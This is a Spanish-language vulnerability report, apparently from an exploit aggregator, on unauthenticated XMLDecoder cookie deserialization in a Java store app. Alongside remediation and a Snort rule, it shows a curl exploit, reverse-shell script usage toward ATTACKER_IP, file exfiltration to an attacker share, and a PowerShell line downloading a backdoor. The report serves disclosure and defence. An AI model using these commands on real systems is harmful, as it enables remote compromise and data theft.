Share
## https://sploitus.com/exploit?id=CBF56EAC-8765-5A05-891A-1F8FBF91EC4D
# Reporte de Vulnerabilidad - Java Store Application

## Resumen Ejecutivo

**Severidad**: CRÍTICA  
**CVSS v3.1**: 9.8 (Critical)  
**CWE**: CWE-502 (Deserialización de Datos No Confiables)  
**Impacto**: Ejecución Remota de Código (RCE) sin autenticación

---

## Vulnerabilidad Identificada

### CWE-502: Unsafe Deserialization (Deserialización Insegura)

La aplicación Java Store utiliza `XMLDecoder` para deserializar datos de cookies controladas por el usuario, lo que permite a un atacante ejecutar código arbitrario en el servidor sin necesidad de autenticación.

---

## Detalles Técnicos

### Ubicación del Código Vulnerable

**Archivo**: `src/main/java/es/storeapp/web/interceptors/AutoLoginInterceptor.java`  
**Líneas**: 39-40

```java
Base64.Decoder decoder = Base64.getDecoder();
XMLDecoder xmlDecoder = new XMLDecoder(
    new ByteArrayInputStream(decoder.decode(cookieValue))
);
UserInfo userInfo = (UserInfo) xmlDecoder.readObject();
```

### ¿Cómo Funciona?

1. **Interceptor Global**: El `AutoLoginInterceptor` se ejecuta en **todas las peticiones HTTP**
2. **Cookie Vulnerable**: Lee la cookie `user-info` sin validación
3. **Deserialización Insegura**: Usa `XMLDecoder.readObject()` directamente
4. **Sin Autenticación**: No requiere usuario válido

### Flujo del Ataque

```
┌─────────────┐         ┌──────────────────┐         ┌────────────┐
│  Atacante   │────────>│  HTTP Request    │────────>│  Servidor  │
│             │         │  Cookie: user-info=        │            │
│             │         │  [XML malicioso] │         │            │
└─────────────┘         └──────────────────┘         └────────────┘
                                                            │
                                                            ▼
                                                   AutoLoginInterceptor
                                                            │
                                                            ▼
                                                   XMLDecoder.readObject()
                                                            │
                                                            ▼
                                                   ProcessBuilder.start()
                                                            │
                                                            ▼
                                                   EJECUCIÓN DE CÓDIGO
```

---

## Prueba de Concepto (PoC)

### Payload XML Malicioso

```xml


 
  
   cmd.exe
   /c
   calc.exe
  
  
 

```

### Explotación

```bash
# 1. Codificar payload en Base64
XML_PAYLOAD=""
COOKIE_VALUE=$(echo -n "$XML_PAYLOAD" | base64)

# 2. Enviar petición HTTP con cookie maliciosa
curl -b "user-info=$COOKIE_VALUE" http://target:8888/

# 3. Código ejecutado en el servidor
```

### Scripts de Explotación Incluidos

```bash
# Test (abre calculadora)
python exploit_xmldecoder.py --test

# Reverse shell
python exploit_xmldecoder.py --ip ATTACKER_IP --port 4444
```

---

## Impacto

### Consecuencias de la Explotación

✅ **Ejecución Remota de Código (RCE)**
- Control total del servidor
- Ejecución de comandos con privilegios de la aplicación Java

✅ **Sin Autenticación Requerida**
- No se necesitan credenciales
- Explotable desde cualquier dirección IP

✅ **Acceso Persistente**
- Instalación de backdoors
- Creación de usuarios administrativos
- Modificación de la aplicación

✅ **Compromiso de Datos**
- Acceso a base de datos
- Lectura de archivos sensibles
- Robo de credenciales de usuarios

✅ **Movimiento Lateral**
- Pivotaje a otros sistemas en la red interna
- Escalación de privilegios en el sistema operativo

---

## Vectores de Ataque

### 1. Reverse Shell
Establecer una shell inversa para control interactivo del servidor.

```bash
python exploit_xmldecoder.py --ip ATTACKER_IP --port 4444
```

### 2. Data Exfiltration
Extraer información sensible de la base de datos.

```xml
cmd.exe /c type application.properties > \\attacker\share\data.txt
```

### 3. Backdoor Installation
Instalar acceso persistente al sistema.

```xml
cmd.exe /c powershell -c "IEX (New-Object Net.WebClient).DownloadString('http://attacker/backdoor.ps1')"
```

### 4. Ransomware Deployment
Desplegar ransomware en el servidor (en escenarios de red team).

---

## Root Cause Analysis (Análisis de Causa Raíz)

### ¿Por Qué es Vulnerable?

1. **`XMLDecoder` es Inherentemente Inseguro**
   - Puede instanciar clases arbitrarias
   - Puede invocar métodos arbitrarios
   - Equivalente a `eval()` en lenguajes de scripting

2. **Deserialización de Datos No Confiables**
   - Las cookies HTTP son controladas por el usuario
   - No hay validación del contenido XML
   - No hay whitelist de clases permitidas

3. **Interceptor en Todas las Rutas**
   - Se ejecuta en cada petición HTTP
   - Amplía la superficie de ataque
   - No requiere endpoints específicos

4. **Falta de Validación**
   - No verifica firma digital de la cookie
   - No valida estructura del XML
   - No restringe clases deserializables

---

## Remediación

### Solución Inmediata (CRÍTICA)

**Opción 1: Reemplazar XMLDecoder con JSON**

```java
// ANTES (VULNERABLE)
XMLDecoder xmlDecoder = new XMLDecoder(
    new ByteArrayInputStream(decoder.decode(cookieValue))
);
UserInfo userInfo = (UserInfo) xmlDecoder.readObject();

// DESPUÉS (SEGURO)
ObjectMapper mapper = new ObjectMapper();
UserInfo userInfo = mapper.readValue(
    decoder.decode(cookieValue), 
    UserInfo.class
);
```

**Opción 2: Usar JWT (Recomendado)**

```java
// Crear token JWT firmado
String token = Jwts.builder()
    .setSubject(user.getEmail())
    .claim("userId", user.getUserId())
    .signWith(secretKey, SignatureAlgorithm.HS256)
    .compact();

// Validar token JWT
Claims claims = Jwts.parserBuilder()
    .setSigningKey(secretKey)
    .build()
    .parseClaimsJws(token)
    .getBody();
```

### Mitigaciones Adicionales

1. **Firmar Cookies**
   - Usar HMAC para verificar integridad
   - Prevenir modificación de cookies

2. **Validación de Entrada**
   - Validar formato antes de deserializar
   - Rechazar contenido sospechoso

3. **Principio de Menor Privilegio**
   - Ejecutar aplicación con usuario limitado
   - Reducir impacto de compromiso

4. **Web Application Firewall (WAF)**
   - Detectar payloads de deserialización
   - Bloquear cookies con contenido XML

5. **Monitorización**
   - Alertar sobre cookies anormalmente grandes
   - Detectar patrones de deserialización

---

## Detección

### Indicadores de Compromiso (IoCs)

**Logs del Servidor**
```
java.lang.ArrayIndexOutOfBoundsException
XMLDecoder
ProcessBuilder
```

**Cookies Sospechosas**
- Tamaño > 500 bytes
- Contiene texto Base64 con patrones XML:
  - `PD94bWw=` (inicio de ` 1
```

**IDS/IPS Rule (Snort)**
```snort
alert tcp any any -> any 8888 (
  msg:"Possible XMLDecoder Deserialization Attack";
  content:"Cookie|3a| user-info=";
  content:"PD94bWw";
  sid:1000001;
)
```

---

## Timeline

| Fecha | Evento |
|-------|--------|
| 2025-11-03 | Vulnerabilidad descubierta durante testing |
| 2025-11-03 | PoC desarrollado y validado |
| 2025-11-03 | Reporte de vulnerabilidad generado |
| Pendiente | Aplicar parche de remediación |
| Pendiente | Verificar efectividad del parche |

---

## Referencias

- **CWE-502**: Deserialization of Untrusted Data  
  https://cwe.mitre.org/data/definitions/502.html

- **OWASP Top 10 2021: A08 - Software and Data Integrity Failures**  
  https://owasp.org/Top10/A08_2021-Software_and_Data_Integrity_Failures/

- **Oracle Security Alert - XMLDecoder**  
  https://www.oracle.com/java/technologies/javase/seccodeguide.html

- **Java Unmarshaller Security**  
  https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet

- **CVE-2011-2894** (XMLDecoder vulnerability precedent)

---

## Clasificación CVSS v3.1

```
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
```

| Métrica | Valor | Explicación |
|---------|-------|-------------|
| Attack Vector (AV) | Network (N) | Explotable remotamente via HTTP |
| Attack Complexity (AC) | Low (L) | No requiere condiciones especiales |
| Privileges Required (PR) | None (N) | No requiere autenticación |
| User Interaction (UI) | None (N) | Completamente automático |
| Scope (S) | Unchanged (U) | Impacto limitado al componente vulnerable |
| Confidentiality (C) | High (H) | Acceso total a datos |
| Integrity (I) | High (H) | Modificación completa del sistema |
| Availability (A) | High (H) | Posible denegación de servicio |

**Score Base**: 9.8 (CRITICAL)

---

## Conclusión

Esta vulnerabilidad de **deserialización insegura con XMLDecoder** representa un riesgo **crítico** para la aplicación. La combinación de:

- ✅ Explotación sin autenticación
- ✅ Ejecución remota de código
- ✅ Facilidad de explotación
- ✅ Amplia superficie de ataque

Hace que sea **imperativo aplicar el parche inmediatamente**.

### Recomendación Final

**Acción Inmediata**: Reemplazar `XMLDecoder` por JSON/JWT  
**Plazo**: < 24 horas  
**Prioridad**: P0 (Máxima)

---

**Reporte generado**: 2025-11-03  
**Categoría**: CWE-502 Unsafe Deserialization  
**Estado**: CRÍTICO - Requiere acción inmediata